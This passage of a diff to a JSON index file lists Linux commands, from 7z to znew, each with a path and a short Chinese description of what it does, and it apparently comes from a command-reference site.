:"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 